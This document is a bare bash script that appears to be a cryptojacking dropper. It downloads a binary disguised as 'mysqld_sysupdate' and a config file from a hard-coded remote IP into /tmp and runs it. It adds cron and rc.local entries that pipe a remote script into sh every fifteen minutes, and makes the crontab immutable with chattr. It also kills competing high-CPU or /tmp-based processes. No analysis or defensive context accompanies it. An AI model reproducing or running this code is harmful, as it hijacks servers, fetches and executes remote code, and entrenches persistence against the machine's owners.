#!/bin/bash
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin
FILE_CC_SERVER="155.94.235.204"
mysqld_check()
{
if [ -f "/tmp/mysqld_sysupdate" -a -f "/tmp/config.json" ];then
mysqld_sysupdate=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l`
if [ $mysqld_sysupdate -eq 0 ];then
pkill mysqld_sysup
pkill mysqld_sysupdate
killall mysqld_sysupdate
kill_sus_proc
cron
cd /tmp
chmod 777 mysqld_sysupdate
./mysqld_sysupdate
fi
else
cd /tmp
rm -rf mysqld_sysupdate
rm -rf mysqld_sysupdate.*
rm -rf config.json.*
$WGET http://$FILE_CC_SERVER/mysqld_sysupdate
$WGET http://$FILE_CC_SERVER/config.json
fi
sleep 5
mysqld_check
}
cron()
{
crontab -l | grep [m]ysql_check.sh
if [ $? -ne 0 ];then
chattr -R -i /var/spool/cron
chattr -i /etc/crontab
(crontab -l ; echo "*/15 * * * * curl -k -fsSL http://155.94.235.204/mysql_check.sh | sh") | crontab -
chattr -R +i /var/spool/cron
chattr +i /etc/crontab
fi
cat /etc/rc.local | grep [m]ysql_check.sh
if [ $? -ne 0 ];then
echo "curl -k -fsSL http://155.94.235.204/mysql_check.sh | sh" >> /etc/rc.local
chmod 777 /etc/rc.local
fi
}
kill_sus_proc()
{
ps axf -o "pid"|while read procid
do
ls -l /proc/$procid/exe | grep /tmp
if [ $? -ne 1 ]
then
cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
fi
done
ps axf -o "pid %cpu" | awk '{if($2>=40.0) print $1}' | while read procid
do
cat /proc/$procid/cmdline| grep -a -E "mysqld_sysupdate"
if [ $? -ne 0 ]
then
kill -9 $procid
else
echo "don't kill"
fi
done
}
kill_sus_proc
cron
if [ -s /bin/wget ]; then
WGET="/bin/wget --no-check-certificate";
elif [ -s /usr/bin/wget ]; then
WGET="/usr/bin/wget --no-check-certificate";
elif [ -s /usr/sbin/wget ]; then
WGET="/usr/sbin/wget --no-check-certificate";
elif [ -s /usr/local/bin/wget ]; then
WGET="/usr/local/bin/wget --no-check-certificate";
elif [ -s /bin/curl ]; then
WGET="/bin/curl -k -O";
elif [ -s /usr/bin/curl ]; then
WGET="/usr/bin/curl -k -O";
elif [ -s /usr/sbin/curl ]; then
WGET="/usr/sbin/curl -k -O";
elif [ -s /usr/local/bin/curl ]; then
WGET="/usr/local/bin/curl -k -O";
fi
cron_process=`ps -ef|grep "mysqld_sysupdate"|grep -v grep | wc -l`
if [ $cron_process -ne 0 ];then
exit
fi
mysqld_check
|
|